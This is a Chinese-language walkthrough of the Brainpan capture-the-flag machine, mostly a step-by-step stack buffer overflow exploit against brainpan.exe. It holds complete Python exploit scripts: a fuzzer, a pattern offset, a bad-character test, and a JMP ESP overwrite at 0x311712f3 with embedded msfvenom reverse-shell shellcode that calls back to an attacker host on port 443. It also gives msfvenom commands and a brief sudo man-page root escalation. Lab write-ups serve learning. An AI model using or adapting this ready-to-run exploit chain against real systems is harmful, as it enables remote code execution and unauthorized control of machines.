Brainpan
1、nmap
2、web滲透
隨便看看
目錄爆破
使用不同工具,不同字典進行爆破
9999埠分析
10000埠分析
字串資訊中,提示這個程式不能執行在DOS模式下,然後有32個A,還有一行關於複製位元組到緩衝區的資訊,還有一行比較奇怪的字元shitstorm,有可能會是密碼,接下來就是之前瀏覽器看到的ascii圖案。
3、常規的緩衝區溢位漏洞分析與利用
緩衝區溢位漏洞識別
在window環境下執行brainpan.exe,可以看到出現了一個如下的介面:
大概是說初始化了一個winsock,埠是9999,等待連線中。那麼我們可以用nc嘗試連線這個windows機器的9999埠,先隨便輸入一個PASSWORD試試:
可以發現提示覆制了3個位元組到緩衝區,如果輸入shitstorm,回顯也基本一致,但check會是0,可以判斷可能check為0說明密碼正確,為-1說明錯誤。由於涉及到複製位元組到緩衝區的過程,那麼這裡就有可能存在緩衝區溢位的漏洞。
如果我們輸入一個非常長的字串,是否會造成溢位而導致程式崩潰呢?如果會出現溢位,那麼這個“非常長”到底是多長的字串呢?此時我們可以寫一個python2的指令碼exp1.py進行測試,程式碼如下:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#figure out how many chars could make brainpan.exe crush
size = 100
while True:
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #用於建立socket連線
s.connect(("192.168.126.184",9999)) #連線windows機器的9999埠
buffer = 'A' * size #待傳送字串的長度,按照100個字元逐漸增加(一個緩衝區,用A去填充)
print "\n[+]Send evil buffer %s bytes." % size #提示傳送了多少個字元
s.send(buffer) #傳送字串
s.close() #連線關閉
size += 100
time.sleep(2) #每傳送一次,睡眠2s,便於我們觀測過程
except:
print "\n[+] Could not connect,error!\n" #出現異常的提示
sys.exit() #系統退出
會發現當傳送600長度的字串後,brainpan.exe會直接結束執行,利用檔案exp1.py也停止傳送。說明確實存在溢位漏洞。所謂緩衝區溢位的漏洞利用,就是透過構造溢位,新增我們的payload,修改程式的執行流程,最終會執行我們新增的payload(反彈shell等),核心在於是否可以溢位?怎麼修改執行流程?怎麼新增payload?這就是緩衝區溢位的全域性思路,接下來的所有操作都是基於這個大局觀。
最多不超過600位元組就會導致緩衝區溢位。那具體是多少個位元組呢?
定位eip暫存器(確定溢位字串的長度)
我們可以用工具msf-pattern_creat生成一個600位元組的字串,該字串的特點是:其中的連續子串可以唯一被定位位置。
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
然後用在Windows上使用ImmunityDebugger開啟brainpan.exe檔案(先使用Windows對檔案進行分析)。此時ImmunityDebugger這個工具相當於充當了CPU與brainpan.exe的中介,方便我們觀察程式執行時的組合語言的程式流、暫存器、堆疊、記憶體等情況。可以看到右下角是Paused,意思是這個檔案是暫停狀態的,我們點選左上角的running program按鈕(左數第7個,或者直接按F9)啟動程式,此時右下角提示狀態變為了Running。這種啟動與直接雙擊exe檔案的區別就是,使用ImmunityDebugger作為了中介而已。
然後我們用剛剛生成的600字元的字串,重新構造payload,編寫如下的exp2:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#figure out how many chars could make brainpan.exe crush
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #用於建立socket連線
s.connect(("192.168.126.184",9999)) #連線windows機器的9999埠
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9' #傳送600字元的pattern字串
print "\n[+]Send evil buffer 600 bytes." #提示傳送了多少個字元
s.send(buffer) #傳送字串
s.close() #連線關閉
except:
print "\n[+] Could not connect,error!\n" #出現異常的提示
sys.exit() #系統退出
回到ImmunityDebugger,可以看到這個字串填入了EDX中,EDX還不夠裝,ESP中還裝了一部分。而特別需要關注的暫存器是EIP(instrutor pointer指令指標),這個暫存器標記了下一條指令的記憶體地址,是進行緩衝區溢位的關鍵所在。
如上圖,EIP內的值是35724134,這是ASCII碼的值,由於小端顯示的原因(逆序),相當於4Ar5。
接下來我們就是尋找35724134(4Ar5)在msf-pattern_creat生成的600位元組字串中的位置,以下兩條命令均可:
msf-pattern_offset -l 600 -q 35724134
msf-pattern_offset -l 600 -q 4Ar5
可以看到偏移量是524,也就是隻要傳送524+4個字元,即可覆蓋EIP暫存器,EIP暫存器儲存的內容就是傳送的528個字元中的最後4個字元(也就是說,第525-528個字元會填充EIP暫存器)。
為了驗證傳送的第525-528個字元會填充EIP暫存器,我們可以構造一個payload,傳送600個字元,前524個字元都是A,第525-528個字元是B,用於覆蓋EIP,最後72個字元用於湊數,都是C,據此編寫exp3.py
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#cover EIP with 'BBBB'
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.126.184",9999))
buffer = 'A' * 524 + 'B' * 4 + 'C' * 72
print "\n[+]Send evil buffer 600 bytes(524 A, 4 B, 72 C)."
s.send(buffer)
s.close()
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
重新開啟ImmuityDebugger,執行brainpan.exe後(點選左上角左數第6個按鈕×後,再重新開啟brainpan.exe,點選選單欄的file->open,開啟檔案後,再點選左上角左數第7個按鈕執行。特別注意!!!每次執行新的exp前,都要進行如此重新開啟的操作。),在kali中執行這個exp3.py:
果然,EIP暫存器被覆蓋為了BBBB(B的ascii碼的16進位制是42),EDX被覆蓋為了若干個A,ESP被覆蓋為了72個C。
也可以在堆疊區域看到記憶體的情況。
ESP擴容(判斷ESP暫存器的大小是否夠裝shellcode)
我們企圖將shellcode放到ESP中,也就是現在72個C的位置,然而shellcode的大小通常是300-400位元組左右,顯然72位元組是不夠的,因此我們嘗試再次進行溢位,這次傳送的字串是524個A、4個B、500個C,再次執行看看程式的崩潰情況和ESP內部的情況,如果崩潰情況與之前相同,ESP存放了500個C,就說明ESP的大小足夠存放shellcode。構造如下的exp4.py:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#cover EIP with 'BBBB',cover ESP with 'C'*500 to figure out if ESP is big enough to cover shellcode.
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.126.184",9999))
buffer = 'A' * 524 + 'B' * 4 + 'C' * 500
print "\n[+]Send evil buffer 1028 bytes(524 A, 4 B, 500 C)."
s.send(buffer)
s.close()
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
執行後暫存器的情況如下:
ESP中存放了許多個C,沒出啥問題。檢視堆疊中的情況,找到C出現的開始位置和終止位置,可以看到首次出現C的記憶體地址是005FF910,最後4個C的記憶體地址是005FFAE4:
那麼ESP的大小就是005FFAE4-005FF910+4=472位元組,應該足夠存放反彈shell的shellcode。
第六步:壞位元組識別
在C語言中,00是一個壞字元,作用是截斷。所謂壞位元組,就是程式中存在的會導致程式碼無法正常執行的字元,與程式本身和通訊協議都相關。可以在github中具體檢視壞位元組的情況:https://github.com/cytopia/badchars
可能存在的壞位元組如下,圖中沒有包括\x00,因為\x00一定是壞位元組,不需要再進行識別。
下面我們構造exp5.py,將可能的壞位元組填充到ESP中,檢視暫存器和記憶體的情況,exp5.py如下:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#find badchars,cover ESP with possible badchars
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.126.184",9999))
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" +
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20" +
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30" +
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40" +
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50" +
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60" +
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70" +
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80" +
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90" +
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0" +
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0" +
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0" +
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0" +
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0" +
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0" +
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A' * 524 + 'B' * 4 + badchars
print "\n[+]Send evil buffer many bytes(524 A, 4 B, 255 badchars)."
s.send(buffer)
s.close()
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
執行exp5.py,觀察ESP的情況:
點選ESP後的記憶體地址,然後右鍵->Follow in Dump,即可在左下的視窗看到記憶體情況
左下的視窗如下,可以看到從01到FF是連續的,說明沒有出現壞位元組。如果有壞位元組,可能會出現很多00的空位元組。
JMP ESP定位
雖然ESP中可以存放shellcode,但我們如何保證程式的執行流程跳轉到ESP中呢?這就需要透過EIP進行重定向,也就是找到彙編指令JMP ESP的記憶體地址,將這個記憶體地址覆蓋到EIP中。由於EIP標記了下一條指令的執行地址,如果EIP被我們覆蓋成了JMP ESP指令的記憶體地址,那麼程式就會執行JMP ESP,然後如果ESP中存放了shellcode的話,就會成功利用。
首先,我們要找到指令JMP ESP的記憶體地址,在進行搜尋的時候,不能用JMP ESP這樣的字元直接搜尋,而要用操作碼opcode,JMP ESP的操作碼可以用msf-nasm_shell進行查詢,可以發現JMP ESP的操作碼是FFE4。
接下來就是搜尋FFE4了。在ImmuityDebugger中,可以很方便的直接執行python的一些指令碼。在左下角的輸入框輸入!mona modules,可以看到當前執行程式的保護機制。透過mona.py可以看到當前執行的brainpan.exe的保護機制都是False,很容易被利用。因此靶機本身恰巧就支援我們定位JMP ESP,其實這裡也不必強求非要利用靶機中的JMP ESP,尋找其他安全機制沒有開啟的程式也可以,只是當前的windows執行的其他程式都開啟了許多安全機制,難以定位JMP ESP。
這裡插敘一下,我第一次安裝ImmuityDebugger後,輸入!mona modules直接報錯pycommands:error importing module。這是因為ImmuityDebugger的預設指令碼並不保護mona.py這個檔案,需要下載mona.py,並將這個檔案放在PyCommends路徑下。mona.py的下載地址見https://github.com/corelan/mona
然後我們在brainpan.exe中搜尋ffe4,命令如下:
!mona find -s "\xff\xe4" -m brainpan.exe
總共找到了一個記憶體位置,311712f3,這個記憶體地址下存放了JMP ESP的指令。 因此我們要將這個記憶體地址寫到EIP中,也就是之前寫入B的位置。由於小端顯示的問題,需要按照位元組倒序的方式填入EIP中即"\xf3\x12\x17\x31"。
第八步:在ESP中填入shellcode
最後構造反彈shell的shellcode,這裡直接用msfvemon生成即可,LHOST和LPORT指定ip和埠,-b指定壞字元,-e指定編碼方式,這裡選用shikata_ga_nai,這是個日語詞彙,在免殺繞過領域比較好用,-f形成c語言程式碼。生成的shellcode的大小是351個位元組(由於編碼方式,每次生成的結果是不一樣的):
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.126.193 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
然後我們把原來ESP中C的位置填寫為上述shellcode(這裡的shellcode和上圖不是一次生成的,所以不一樣,只要填入msfvemon生成的反彈shell即可)。shikata_ga_nai的編碼方式對於我們進行免殺和繞過很有作用。但也會在生成幾個“樁”用於解碼。因此在構造payload的時候應該在ESP的開頭位置填入若干個啥也不做的指令NOP(\x90),稱為slide,防止“樁”被抹掉導致程式碼無法成功執行,再新增shellcode。當然,即使我們不適用編碼進行免殺繞過,也可以新增幾個NOP,滑過一些位元組,保證shellcode不會被“抹掉”。完整的程式碼如下exp6.py:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#set payload(windows_reverse_shell) for windows
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.126.184",9999))
ebp = "311712f3"
badchars = '\x00'
shellcode = ("\xb8\xa9\xba\xb5\xd8\xda\xc3\xd9\x74\x24\xf4\x5a\x2b\xc9"
"\xb1\x52\x31\x42\x12\x03\x42\x12\x83\x6b\xbe\x57\x2d\x97"
"\x57\x15\xce\x67\xa8\x7a\x46\x82\x99\xba\x3c\xc7\x8a\x0a"
"\x36\x85\x26\xe0\x1a\x3d\xbc\x84\xb2\x32\x75\x22\xe5\x7d"
"\x86\x1f\xd5\x1c\x04\x62\x0a\xfe\x35\xad\x5f\xff\x72\xd0"
"\x92\xad\x2b\x9e\x01\x41\x5f\xea\x99\xea\x13\xfa\x99\x0f"
"\xe3\xfd\x88\x9e\x7f\xa4\x0a\x21\x53\xdc\x02\x39\xb0\xd9"
"\xdd\xb2\x02\x95\xdf\x12\x5b\x56\x73\x5b\x53\xa5\x8d\x9c"
"\x54\x56\xf8\xd4\xa6\xeb\xfb\x23\xd4\x37\x89\xb7\x7e\xb3"
"\x29\x13\x7e\x10\xaf\xd0\x8c\xdd\xbb\xbe\x90\xe0\x68\xb5"
"\xad\x69\x8f\x19\x24\x29\xb4\xbd\x6c\xe9\xd5\xe4\xc8\x5c"
"\xe9\xf6\xb2\x01\x4f\x7d\x5e\x55\xe2\xdc\x37\x9a\xcf\xde"
"\xc7\xb4\x58\xad\xf5\x1b\xf3\x39\xb6\xd4\xdd\xbe\xb9\xce"
"\x9a\x50\x44\xf1\xda\x79\x83\xa5\x8a\x11\x22\xc6\x40\xe1"
"\xcb\x13\xc6\xb1\x63\xcc\xa7\x61\xc4\xbc\x4f\x6b\xcb\xe3"
"\x70\x94\x01\x8c\x1b\x6f\xc2\x73\x73\x11\xd3\x1c\x86\xed"
"\xd2\x67\x0f\x0b\xbe\x87\x46\x84\x57\x31\xc3\x5e\xc9\xbe"
"\xd9\x1b\xc9\x35\xee\xdc\x84\xbd\x9b\xce\x71\x4e\xd6\xac"
"\xd4\x51\xcc\xd8\xbb\xc0\x8b\x18\xb5\xf8\x03\x4f\x92\xcf"
"\x5d\x05\x0e\x69\xf4\x3b\xd3\xef\x3f\xff\x08\xcc\xbe\xfe"
"\xdd\x68\xe5\x10\x18\x70\xa1\x44\xf4\x27\x7f\x32\xb2\x91"
"\x31\xec\x6c\x4d\x98\x78\xe8\xbd\x1b\xfe\xf5\xeb\xed\x1e"
"\x47\x42\xa8\x21\x68\x02\x3c\x5a\x94\xb2\xc3\xb1\x1c\xc2"
"\x89\x9b\x35\x4b\x54\x4e\x04\x16\x67\xa5\x4b\x2f\xe4\x4f"
"\x34\xd4\xf4\x3a\x31\x90\xb2\xd7\x4b\x89\x56\xd7\xf8\xaa"
"\x72")
buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:windows_reverse_shell."
s.send(buffer)
s.close()
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
回到kali中,先開啟nc監聽443埠,然後在ImmunityDebugger中重啟brainpan.exe,執行exp6.py,成功拿到了windows機器的反彈shell:
我們的目標是搞到靶機linux的shell,因此重新生成linux環境的反彈shell:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.2.228 LPORT=443 -b "\x00" -e x86/shikata_ga_nai -f c
然後修改payload為exp7.py:
#!/usr/bin/python
#encoding: utf-8
import socket
import time
import sys
#set payload(linux_reverse_shell) for target machine
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.215",9999))
ebp = "311712f3"
badchars = '\x00'
shellcode = ("\xbb\xee\x7b\x55\x53\xda\xd2\xd9\x74\x24\xf4\x5a\x31\xc9"
"\xb1\x12\x31\x5a\x12\x03\x5a\x12\x83\x04\x87\xb7\xa6\xe9"
"\xa3\xcf\xaa\x5a\x17\x63\x47\x5e\x1e\x62\x27\x38\xed\xe5"
"\xdb\x9d\x5d\xda\x16\x9d\xd7\x5c\x50\xf5\x27\x36\xa0\xe1"
"\xc0\x45\xa5\xe8\xab\xc3\x44\x5a\xad\x83\xd7\xc9\x81\x27"
"\x51\x0c\x28\xa7\x33\xa6\xdd\x87\xc0\x5e\x4a\xf7\x09\xfc"
"\xe3\x8e\xb5\x52\xa7\x19\xd8\xe2\x4c\xd7\x9b")
buffer = 'A' * 524 + '\xf3\x12\x17\x31' + '\x90' * 16 + shellcode
print "\n[+]Send evil buffer many bytes(524 A, pos jmp ESP, 16 NOP, shellcode),including payload:linux_reverse_shell."
s.send(buffer)
s.close()
except:
print "\n[+] Could not connect,error!\n"
sys.exit()
回到kali中,再次開啟nc監聽443埠,然後在ImmunityDebugger中重啟brainpan.exe,執行exp7.py,成功拿到了靶機linux機器的反彈shell:
4、內網滲透
發現Linux下有Windows服務的原因
隨便看看
提權
可以發現當前使用者擁有免密執行/home/anansi/bin/anansi_util的許可權,那麼我們就執行試試:
提示未知的終端型別,再試試檢視手冊吧,後面要加一個commind,我們乾脆就檢視ls:
此處可以互動!他讓我們按下Enter鍵,我們先不按。此時應該是以root身份讀取ls的手冊,那麼如果在此處啟動一個bash,應該也是root的session,因此我們在此處輸入:
5、最後的話
由於緩衝區溢位純純零基礎開始學習。還是得感謝Bossfrank以及紅筆佬的影片交叉學習。
本文大部分是參考Bossfrank學習的。